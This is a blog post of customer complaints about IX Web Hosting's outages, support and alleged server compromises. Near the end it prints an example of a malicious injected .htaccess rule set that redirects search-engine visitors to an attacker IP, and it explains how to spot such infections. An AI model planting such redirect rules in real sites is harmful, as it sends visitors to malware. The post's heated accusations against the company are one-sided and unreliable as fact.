Posts Tagged ‘customers’

“you may come to know what a brain seizure is really like after you’ve experienced the comical and incredibly maddening world of IX Web Hosting Customer Support.”

Ix web hosting worst host ever

Posted by **** *****  Dec.26, 2009 

With one of the best pricing plans, and seemingly unlimited capability, ixwebhosting.com fails to live up to any claim of service dependability. Uptime? In the past 30 days, the server hosting my websites [not associated with thedealis.com] has been down 4 times. This downtime typically lasts 3-6 hours.

Typical response from ixwebhosting tech support: Sorry!

This is the first time I have encountered this in the approx. 5 years I have used the service. I switched to different servers last month. Tech support says upgrades [blade servers] are coming in January and that ixwebhosting will “redeem themselves” with this update. I hope so!

I can’t recommend this service to anyone. Had you asked me a couple months ago, I would have raved about the service. I have not had an issue with billing or tech support previously. Is tech support located in India? Possibly. Seems lately, I reach Jahuud Hussein each time I call the 800#.

These are the issues I have encountered. What other issues are lurking within ixwebhosting? If you have had issues with ixwebhosting services, or can recommend a better hosting service – let me know!

I did find this quote from one [former] ixwebhosting customer on the web “you may come to know what a brain seizure is really like after you’ve experienced the comical and incredibly maddening world of IX Web Hosting Customer Support.”.

Original artical can be found HERE

Hahaha.. I know it is really not funny, but sometimes you just have to laugh…  The above screenshot is from www.examinarse.com  Seems like the owner packed his / her bag and left in a hurry..

While I’m here, I might as well post a few recent comments from HAPPY IX CUSTOMERS.

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I hope Google ranks this website in their top search results for anyone wanting to know more about IXWebhosting. I had been with that webhost for more than 4 years and changed all my sites to a different host just last week. IXWebhosting is the most poorly managed, technically incompetent and frustrating company I have ever had the misfortune to deal with.

Why have I been with them for 4 years?
Their webhosting plans were at the time and still are pretty cheap when compared to other competitors. But its true, if you throw peanuts, you’ll get monkeys. You are ok till the time you have a website with only static (html pages). That’s what I had for 2 years. The moment you have a dynamic site, have anything to do with databases, use pages in asp or php… God save you. I’ve had nothing but trouble for the remaining 2 years pulling my hair out with every trouble ticket raised.

Customer Service
Its the most slowest, incompetent buffoons I’ve ever interacted with. Every ticket raised takes a minimum of 14 hours to be verified. Their typical replies are “everything’s ok at their end”. They do not understand your query, nor can they understand any technical issues.

Spam-
I lived with spam in each of our mailboxes for all the time I’ve ben with IXWebhosting. Spam is like its brother. Besides having issues with our mail disappearing from our mailboxes (their backup could only restore some of it as it was infrequently taken), I had to put up with tons of spam. At the time of writing this, I believe they have made the web access to the email accounts over https, but still, my experience with them was ghastly.

Server Security-
My websites were hacked many a times. Their servers are easily vulnerable to anybody. I will rate my expertise with networks and security at advanced. To test the security I have hacked into my own hosting webserver and seen the list of domains, their entire contents by simply installing a ridiculous script. I raised this issue in a trouble ticket and the response was.. you guessed it..”everything’s ok at their end”

Their famed easy to use preloaded scripts (Easy Apps collection)-
It is user friendly to install, I’ll agree. But every one of them is completely outdated, buggy to customize and of course vulnerable to hacks. Their excuse- Its the entire collection of scripts that they install when they update the server software (maybe years before). The scripts in them cannot be changed or upgraded.

Final Comments-
If you have a simple website with a couple of html pages and you don’t mind spam, if your wesite is hacked or defaced, its good value for cheap hosting.
Otherwise, Avoid Them Like The Plague… as someone else wrote in here.

I am not affiliated with anyone or anything from anywhere and all the experiences above are my own.
Archie H

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We have been using IX for a long time. First thing that happended was that they allowed my EX-Wife access to my account after we were divorced because she has paid by her credit card at one point for one domain name. They changed the admin panel and allowed her full access to everything because she did not pay for her domain and called them! MORORNS! We have a pro business account and they allowed her access to customers account info, OMG what a night mare! Finally after getting the police involved they fixed it. Now 3 out of 7 of our accounts have been hacked… We have not done or changed anything, in fact the accounts that have been hacked are just place holders for domanins… I have asked it to be fixed from backup 4 times so far and as of yet nothing… I am just in the process of moveing everything to a new local box and say GOOD BYE loosers!
Michael

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Server vulnerable to hacking, infected our site, IX Web Hosting refused to acknowledge or address, arbitrarily shut us down. Luckily, we had just completed set up with an alternative server and this didn’t cost us the significant downtime, money and trouble it could have. AVOID them like the plague!
Dayl

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In the beginning (up to a year ago) everything was fine. Now I have had so many problems that today I have changed my hosting company and left ix-webhosting and went to BlueHost.

My problems:
1. extremely slow server response (average response to a simple html page over 5 seconds). Regularly browser says: no server response. My customers are complaining. Maintaining my blog is almost impossible
2. ftp regularly does not work (complaint by server: too many clients, but I have just one ftp connection open)
3. average response time of trouble ticket about 24 hrs
4. tremendous problems in upgrading from php4 to php5 (I had to change ix-webhosting servers), without any help from them. They offered me help but that would cost me over 200$
5. their mysql server is slow

When I complain to them they tell me these problems are temporary and that they are about to improve it all.
Ad

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Once again I have had a horrible experience with IX WebHosting. Here is a list of issues that I exprienced over the last year of being with them:

1. The password to the control panel keeps getting reset and I know for a fact that only a select few have access. Any changes made by those few are logged and disseminated to the rest. When I ask I am made to look like “what’s the big deal?”

2. They NEVER return calls and almost never update tickets except to close it and say that it was your fault. They refer you to the “system admin” who is a ghost as far as I am concerned then are quick to tell you that they can’t do anything else to help you.

3. Press as you might the cannot suggest when the problem can be fixed. It is like they think that your business and clients that are affected by problems don’t matter.

4. Their first level support are unskillful googlers who waste no time in presenting irrelevant rubbish explanations that clearly shows that they have missed the basics of training.

Most Recent Exerience:

Unfortunately they host my mail (haven’t gotten around to hosting my own as yet). One of my customers suddenly cannot send me any mail from their domain, at least I no longer receive it on my domain hosted with IX Webhosting.

My customer had a recent SPAM issue that was resolved however they were not blacklisted. All this time I was receiving mail fine. However a while after the issues is resolved I cannot receive any mail from them.

I try chat support who quickly tells me that I need to call in to report the problem.

ok I call and some guy is trying desparately to convince me that there is a problem with the MX records of my client. And even though I tell him that mxtoolbox gives me a clean report and also that my hosted mail is the only domain that is not receiving mail from my client along with other information he refuses listen. Eventually he gets tired and tells me that he has to get a system admin to call me back.

24 hrs later no call from any admin and I decide to log a ticket myself and describe the problem – no response.

I call back again and a young lady informs me that the issue was left untouched, whatever that means and puts me on hold after every question I answer. She then routes it to the “correct” queue and pomises me that I will receive a call.

24 hrs later no call and no update other than hers that says the call is on hold.

I update the ticket to ask what is going on?

12 hrs later no response so I call and was informed that since I updated the ticket to ask a question it was reverted to the end of the queue. Apparently I was punished for quering the status on my issue….

Another young lady can give me no indication as to an estimated resoution time or at least response time.

I ask for her supervisor who refused to give me his name but was quick to tell me that I would have to wait until the admins got around to looking at the problem.

He didn’t think it was reasonable for them to at least update the ticket and was quick to tell me that “we are just the phones” and that they couldn’t escalate beyond redirecting my problem to the admin queue. They would get to it whenever they can and I would have to wait…”there are other customers ya know?” so I have absolutely no idea how long I will be in that queue. His entire tone suggested that he had worked a tripple shift and was tired and grumpy or he simply couldn’t be bothered. Meanwhile I embarasingly have to tell my customer that I am in the process of moving my mail services which after this I definitely will.

It really upsets me when companies like this get away with such horrible service.

The least you owe your customer as a service provider is a timely and honest update(s) especially when there is a problem. Lack of communications leaves people to assume the worst and suggests that the customer is not important. It does not matter where the fault lies – you are providing a service and it should be your obligation to protect the reputaion of that service by open communications to the client at all times. As an IT consultant I can personally attribute the retension of my business not to my knowledge as much as to ensuring that my customers are always informed and have open access to me. Many times it has been my saving grace during the few hiccups I have made over the years.
Anson

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Ordered web hosting form them on Thurs. pm, finally setup on Fri. However, could not upload web since FP extensions were not installed; I installed them from the panel. Long story, several calls to tech support, they can not get the FT issues resolved; moved up to admin. Called over the weekend and told it would be 24 hours…I had to wait in the queue. On Monday afternoon I was told give them another 4 -5 hours. I cancelled later that night about 10 pm…issue not resolved. Tech support was useless. They did offer 2 months extra time if I stayed. After 30 days I would have los the $$; they did refund my $$. I had used them for a couple years in the past without too many issues, site did go down several times. Not recommended.
Rick

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And the list goes on and on and on, but that makes good posting for another time.

EVERYONE  knows that IX web hosting pays for high listings and “Praise Reviews’ [ read article HERE  ] and their ” Affiliate Army ” is told to SPAM boards trying to lure people to use IX Web Hosting. Do not be fooled by the low prices and  Unlimited Everything, Do NOT become a statistic, because like 1000’s before you, you WILL regret it.

Just see for yourself what REAL Customers that have NOT been paid to post positive comments about IX have to say:

http://www.webhostingreviews.com/ix-web-hosting-reviews.htm

AND

 http://www.webhostingstuff.com/review/IXWebHosting.html 

AND Another one

http://www.web-hosting-top.com/web-hosting/web-hosting-top.ixwebhosting.com-reviews

You will start noticing “Positive” reviews being posted by the Paid Affiliate Army.. but they always stand out as being Fake.

During the past 2 days I have been bombarded with unhappy IX Web Hosting customers that can no longer update / change their files because IX Web Hosting changed  ALL FTP Passwords without warning.

Here is one  Email I recieved today.

Dear  ******,

We would like to inform you of the new security updates we are making at IX Web Hosting. In our ongoing efforts to maintain security, we have dedicated our system administration team to investigating all possible vulnerabilities. One of the necessary updates we are making to enhance security is to change all FTP passwords. This will ensure that all of the protective measures we have and will be taking remain impervious to outside influence – this includes any security compromises that exist on the Internet that may negatively affect your account.

If you experience any problems logging in to your account via FTP, please take a look at the following information to regain FTP access.

You can visit http://www.ixwebhosting.com/index.php/pages.manual14 for an in-depth tutorial with screenshots on how to update your FTP password, or you can follow the simple steps below.

  • Visit https://manage.ixwebhosting.com and login.
  • Look for the section called “Hosting Products” and click on the Manage button for your hosting account.
  • Look for an icon called “FTP Manager” and click on it. In this area, you will find an icon that resembles a pencil and paper. Click on it to change your FTP password. Please note: to ensure the security of your website, you should not use the same password as your previous password.

It is always recommended that you choose a strong password. We have provided you with a website which will help evaluate the strength of the password you choose:
http://www.microsoft.com/protect/yourself/password/checker.mspx

We are in the process of performing several upgrades to strengthen security. As new developments are made on the server-side and in regards to your FTP account, we will be sure to keep you informed!

We would like to sincerely thank you for your understanding and also, of course, for hosting with us. If you have any questions about this topic, please contact us via ticket, live chat or our 24/7 phone support. We are here for you 24/7 and would be happy to address any concerns you might have!

Thanks again,

Sammie Taunton
Director of Customer Relations
http://www.ixwebhosting.com 

————–

I thought it was a scam because all the links pointed to “rs6.net“, so I just ignored it for a while.

Later in the evening, I was going to forward the email to IXWebhosting, but on a lark decided to check out rs6.net, and found out it was a mass email company.  It then occurred to me that IX might have used them, so I started digging into my sites.

I did indeed find that they had hosed ALL of my FTP passwords.  This is not a big deal if you are just uploading static HTML pages with pictures of your puppies, but I have 16 sites on a PHP CMS I wrote myself.  Since every site has at least one unique FTP password, and they are scattered here and there (trying to be somewhat unspecific on purpose 😉  ) it’s going to take a while to change all this.

I tried to call IX, but of course the wait was an hour, so to amuse myself I started a chat session with “customer support”.  Yes, those quotes are there for a reason.  I realize this may not place me in the best light, but I was REALLY ticked off.  Here’s the transcript of the chat…

—————————————————————————-

Chat InformationPlease wait for a site operator to respond.

Chat InformationYou are now chatting with ‘Kirill Skripka’

Kirill Skripka: Hello, my name is Kirill. How can I help you today?

you: I got a VERY strange email today about changing my FTP passwords – I think it’s a scam – have you seen it yet, or do you know anything about it?

Kirill Skripka: That is e-mail from us. Please change your password for the FTP from your Control panel->FTP manager->Password

Kirill Skripka: All password were changed, due to ProFtpd upgrade on the server side

Kirill Skripka: Please change your FTP password and try to connect to your site via FTP again

you: Are you guys out of your minds????? How about a little notice???? I have a lot of programming changes to make for several sites!!!!!!

you: Why isn’t there anything about this on the Control Panel?

Kirill Skripka: We have send notification e-mail to all costumers

you: No, you sent notification that you had DONE it, not that you were GOING to do it

Kirill Skripka: yes, that was notification. If we sent e-mail before changing password then could be misunderstanding about when exactly we will change it and other. Also we could not check if you have read our pre-notification and only then start to change passwords

Kirill Skripka: We are honestly apologize for inconveniences caused to you

you: Do you have any REAL programmers there???? I have like 16 sites I have to change RIGHT NOW. What is WRONG with you people????????

you: You have to be out of your freaking mind if you think this is good customer service!!!!!!!

you: I’m on hold on the phone line – I’ll be speaking to a supervisor. I figure I’ll be on hold for about 90 mins. at the rate it’s going.

you: And by the way – the email LOOKS like a scam. I’m not even sure I’m really talking to IXWebhosting here.

Kirill Skripka: We are sorry again, but that was necessary move to change FTP passwords

you: Actually, no, it wasn’t. You could have let us know this was GOING to happen. I’m gonna have a bunch of VERY pissed off customers. Not unlike the way I’m pissed off with IXWebhosting right now.

you: Is there anything on the site about this?

Kirill Skripka: there should not be anything on the site. It is not non-costumers business that we have something change to our costumers. They are not allow to see that info just view our site. We have sent e-mail.

you: That’s a bunch of crap and you know it. Or you should.

you: This is completely unacceptable. I’m going to be up half the night trying to fix this.

you: Explain to me again as best you can why this had no notice.

you: Did it not occur to anyone that there might be programming issues on sites to deal with????

you: As for non-customer business – I can understand that – BUT THE EMAIL LOOKS LIKE A SCAM

Kirill Skripka: We did notice you. E-mail is the best way to do it. Pre-information will not be fine.

you: Look, child, do you have any programming experience?

you: Have you ever dealt with anything like this?

you: Do you have a supervisor there with any experience?

you: Actually, in one regard you are correct – email is the best way to contact us – but an email pointing to a page visible to us AFTER we sign in, and with a notice that “in 48 hours (or whatever) we will be upgrading…blah, blah, blah…”

you: Honestly, this is BUSH league. I will be copying this chat exchange and putting it onto a blog for other people to see.

you: People need to know what kind of stuff IXWebhosting pulls

Kirill Skripka: I want to inform you of the new security updates we are making at IX Web Hosting. In our ongoing efforts to maintain security, we have dedicated our system administration team to investigating all possible vulnerabilities. One of the necessary updates we made to enhance security was to *change all FTP passwords*. This will ensure that all of the protective measures we have and will be taking remain impervious to outside influence – this includes any security compromises that exist on the Internet that may negatively affect your account. We are in the process of performing several upgrades to strengthen security. As new developments are made on the server-side and in regards to your FTP account, we will be sure to keep you informed!

you: Yes, thank you, I read it the first time. It doesn’t make any more sense now than it did when I first read it. The problem is THERE WAS NO NOTICE. I have to go SITE BY SITE and see if there is anything I have to change. My hope is the existing passwords are all still working.

you: Honestly – do you think I had nothing better to do tonight than change all my sites. WHAT WERE YOU THINKING!!!!!???? WERE YOU THINKING??????

you: Is there a supervisor available?

Kirill Skripka: Please note, that changing FTP password do not affect your site work  [NOTE:  I LOVED this line!  >.<]

Kirill Skripka: but you should change it to be able upload your files with FTP connection

you: You are REALLY stupid. Excuse me, but you are. THE FTP passwords are in the programs that my customers use to upload files.

you: They are embedded in the programs I wrote.

you: DO YOU HAVE A SUPERVISOR?????

Kirill Skripka: Yes, we have

you: THEN PLEASE PUT THE SUPERVISOR ON

Kirill Skripka: hold on please, let me transfer you to my supervisor

you: Thank you

Chat InformationPlease wait while I transfer the chat to ‘Yuliya Gordeeva’.

Chat InformationYou are now chatting with ‘Yuliya Gordeeva’

Yuliya Gordeeva: Hello, my name is Yuliya.

you: First, Yuliya – are you Kirill’s supervisor?

Yuliya Gordeeva: Let me read your conversation with Kirill

Yuliya Gordeeva: yes, I am

you: While you’re reading – I realize you probably can’t do anything about any of this – but I’m REALLY pissed off. This is completely unacceptable – both the way the change was handled and the idiot advice from Kirill

Yuliya Gordeeva: Please accept my apologies for some misunderstanding in the previous conversation

Yuliya Gordeeva: Let me draw your attention to that fact that our system administrators are investigating the problem related to the security of our servers in order to help customers protect their websites from any hack attempts. That is why changing all FTP password was an urgent action. Please accept my apologies that we have not informed you about such actions.

you: Yes, you sent me an email telling me you had already done it, not that you were going to do it. ALL MY SITES ARE BROKEN – EVERY LAST ONE. Well, I take that back, I’ve checked about four of them, but I’m certain they are all hosed

you: This is not in the presentation of the site to the public, but rather in the administration of the site by my clients.

Yuliya Gordeeva: As you already know we are in process of updating Apache on all

Yuliya Gordeeva: servers from 1.3.1 to 1.3.36, ProFTPd from 1.3.1 to 1.3.2

you: Again – if I’d had some notice, I could have made this a relatively transparent change.

you: Sorry, no, didn’t know that – no one notified me

you: It’s not that big a deal to me – I like upgrades, as a rule, but I needed some notice.

Yuliya Gordeeva: I’m sorry, but all your websites are not broken due to that fact that we have changed only your FTP password. Please understand that if such changes have not made all the websites can be hacked or affected by any malware

you: Since this one BROKE my passwords, it has a larger than normal effect

Yuliya Gordeeva: So all the actions were turned to increase the security of your websites

you: Excuse me, but as a matter of fact they ARE broken. I just tried several of them – not on the front end, but on the site administration for MY clients – through the PHP CMS I wrote

Yuliya Gordeeva: Please understand that you need to change only your FTP password and then use your new password to access your FTP

you: Again, I appreciate upgrading the security, but you made a false assumption that changing those passwords had a very small effect

Yuliya Gordeeva: Kindly please give it a tty

you: I’m number two on the telephone cue – I’ll see if someone there has more understanding of this. Have you ever tried programming FTP functions in PHP?

Yuliya Gordeeva: Please be sure that changing FTP password is not the only one change we made

you: It is relatively simple, but I have a lot of places to change it.

you: Thanks – I’m aware of that, and I really do appreciate the upgrade – I REALLY DO! But since they changed my passwords without any notice, I’m in a bit of a bind for time to fix it.

Yuliya Gordeeva: Please note that some widespread trojans have a functions to steal FTP passwords from user`s local PC`s and send these passwords to hackers (or special bots which were made by hackers). So please imagine that some of the password were stolen before we made such changes

Yuliya Gordeeva: and how many websites will be hacked if passwords are still the same

you: Yes, I know. It’s a very old problem. One I’m not sure we’ll ever beat as a computing community.

you: It’s not like I have a choice here, is it? 🙂

Yuliya Gordeeva: I’m really sorry that we made a couple problems for you by these changes but I hope that all that we are doing right now will save you and your websites from any hacking alerts

you: Gosh, thanks so much. Actually, it’s about 16-20 passwords, and 16-20+ scripts to change them in.

you: They were all random characters already.

Yuliya Gordeeva: I would like to assure you that we are trying to provide the best services including web service and fast technical support. We are working hard to prevent any issues from happening and doing our best in order to advance the level of services provided.

Yuliya Gordeeva: Yes, I really understand you

you: Yes, thanks. You’ve been so helpful.

Yuliya Gordeeva: You are always welcome!

you: I’ll talk to the phone support and let them know how REALLY UNHAPPY I am.

Yuliya Gordeeva: Again we deeply apologize for all inconveniences you have faced with our services and would like to say that we are more than thankful for your great patience and understanding. We will do our best to satisfy you as our customer and provide an upper-scale support and services to you.

Yuliya Gordeeva: I’m sorry, but there is really no way to restore previous passwords

Yuliya Gordeeva: So kindly please change it to the new ones

you: I’ll get right on that…

Yuliya Gordeeva: ok, that’s great. Thank you very much!

————–

(sigh)  I then talked to someone with a little better command of the English language on phone support, and he said something to the effect that he’d come on at 10:30 PM and when he heard what they had done he knew it was going to be a bad night.

Well, I’m looking for a new host.  Please feel free to post any of this you would like.

Hundreds of unhappy IX Web Hosting Customers are contacting me, telling me they are still being blamed for the Yahoo Counter Script Injection and the .htaccess hack.

IX is blaming ” Folder Permissions ”  saying 777 should not be used, and in the case that NO FOLDERS are being used, they turn to the ” Ftp Virus”   BOTH of these are complete rubbish and LIES, and if you corner an IX Web Host manager with some facts and a bit of knowledge they will admit that it IS an issue on the ” IX Servers”

I have been PERSONALLY told by THREE MANAGERS.. Kenny, Drew and Lauren that IX is aware that they have security issues, and each time they assure me that the problem will be fixed soon, that was 9 months ago!!
The problem has not been solved, and is nowhere near being solved, actually it is getting worse.
Almost 10 months ago the problem was the iFrame Yahoo Counter was injected into every file, today the problems are numerous 3 different  injections and a .htaccess hack!! on both the php4 and php5 platform.

So, why is IX Web Hosting admitting they have issues to certain people, and LIEING to others? The reason to this is because the Support Monkeys have been told to NEVER admit that IX has issues, if the monkeys admitted to every customer that it was due to IX’s security issues that more than 120.000 sites were being infected on a weekly basis, all hell would break loose and somewhere along the line someone would sue.
So, as of yet for as far as I know it is only certain managers that are admitting to certain people, that IX is to blame.   

IX Web Hosting blames 777 folder Permission!!!… Do me a favor!!, it’s 2009, HUNDREDS OF MILLIONS of people are using Open Source CMS (content management system ) such as WordPress, Joomla, Drupal etc..etc..
Many of these scripts will not work without 777 permission ( images, templates etc)

If in 2009 IX Web Hosting cannot host a CMS site  without it getting injected or defaced, then they are NOT FIT to host websites and should pack their bags and leave town … for good!!

Why is it, that IX has a page on their website that explains in detail how to install and use WordPress and Joomla, but they still blame customers for using these CMS scripts.

Next time you speak to an IX  Support  Monkey ask them how the following  is possible

  1. 5 html sites ( 100% html) not running any scripts or folders get injected?
  2. How is it possible to MASS overwrite 644 files (.htaccess)
  3. How is it possible to MASS add .htaccess files
  4. Why is it, that if I did have an Ftp Virus, they only inject 2 buisness accounts, when they would have access to all 4?.. Why dont they inject all 4?
  5. Why is it only IX Web Hosting and Host Excellence ( owned by ix web hosting) are having these problems? if it was a 777 folder permission issue 100’s of Millions would be affected, and EVERY webhost in the  world would have the same problems.
  6. ANY Server Side injection of 1000’s of sites is surely the responsibility of IX, and NOT a Folder Permission issue.. I have access to all my folders, but there is no way that I can access someone elses site.
    It’s clear that this issue is server root related.

One more thing, a 777 folder used by the likes of WordPress or Joomla ARE SAFE!!..  Does IX Web Hosting really believe that they can carry on blaming customers? MORE THAN  ONE THIRD of ALL IX Web Hosting sites are infected!!… More than 120.000 sites infected !!

For going on 10 months now ix web hosting’s servers have been under attack, both the older php4 and the new php5 are full of security issues, and have been seeded and are constantly injected with various scripts and / or the .htaccess file gets renamed and customer sites are re-directed.

MORE than 120.000 IX hosted sites are injected / .htaccess hacked on a weekly basis, an excellent oppertunity for the scum IX to make a quick buck!!

IX Web Hosting will clear up the mess that is caused by their extreme Incompetence and INSECURE SERVERS for just $80 AN HOUR!!

A few days ago I was contacted by an IX customer that hosted 5 html sites ( not a single script)  all 5 websites were injected with the Yahoo Counter Script, this was the 3rd time in one month that this had happened, each time she just  re-uploaded all her sites, but still her sites got injected. The 4th time she approached IX to help her get her sites back in order. IX charged her $160 ( 2 hours) to get her sites back to normal. 6 DAYS later all her sites were injected, but luckily the bastards at IX were willing to help her again for another $80 an hour.

A lot of people are contacting me, asking HOW you would know if your  site is infected?.
Let me start by saying that in some cases you will know immidiately when somthing is wrong, but in other cases it might not be too clear.

The YAHOO COUNTER SCRIPT

footinject1
Click Image to Enlarge

is an iFrame Javascript injection that injects code into the Footer, Body, or Header, or all three at once.
Thousands of IX web Hosting customers are infected with this code, and they do not even know it! The web Page looks normal, but this can be very dangerous, your website will eventually drop from ALL the mayor search engines, and your domain will be flagged as “Dangerous Malware” by all the search engines.
To check if you have the Yahoo Counter injected, visit any search engine, and visit your site, If your site loads as it should, BUT  it still shows “Loading” in the taskbar for some time, and then in most cases ( but not always) an ” Acrobat Reader” Error message will pop up.

adob
Now you must Check the “Source Code” ( Menu Bar –> View –> Source ) and you will notice the Code that has been injected.

 

The .htaccess Injection

This is a very sneaky Injection, the reason being, is because most people that have and check their websites, access them by either a shortcut, or directly through the search bar by using the url, In both these cases, your website will be perfectly normal, BUT, anyone trying to access your website  through any of the mayor Search Engines, will be re-directed.

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Click Images to Enlarge

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Once that is done, a FAKE ANTI VIRUS will pop up, and start scanning your PC, it will then alert you that you have dangerous files on your PC, and if they should be removed, if you click YES, you are screwed!!, a Trojan with KeyLogger will be executed on your PC, and you are INFECTED!!…

Anyone who has the FAKE ANTI VIRUS pop up, should just click off the site NEVER click “Yes” or “No”.. just click OFF the page , if your PC freezes, use “Ctrl-Alt-Delete” and Stop the process… then out of precaution you can “Delete” your cached internet files.

An example of the injected .htaccess file.

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*oogle.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ahoo.*$ [NC]
RewriteRule .* h**p://87.248.180.89/topic.html?s=s [R,L] ( link altered by ME )
 

Remember, you only get re-directed if you click on your url from a search engine